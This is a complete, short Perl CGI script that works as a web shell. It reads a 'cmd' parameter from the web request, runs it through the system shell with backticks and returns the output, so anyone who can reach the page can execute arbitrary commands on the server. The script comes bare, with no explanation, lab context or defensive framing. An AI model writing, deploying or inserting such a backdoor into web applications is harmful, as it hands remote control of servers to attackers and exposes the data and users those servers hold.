#!/usr/bin/perl
use CGI;
use strict;

my $query = CGI->new;
print $query->header(-type => 'text/plain');

my $cmd = $query->param('cmd');
if ($cmd) {
    my $output = `$cmd 2>&1`;
    print $output;
} else {
    print "Usage: ?cmd=COMMAND\n";
}
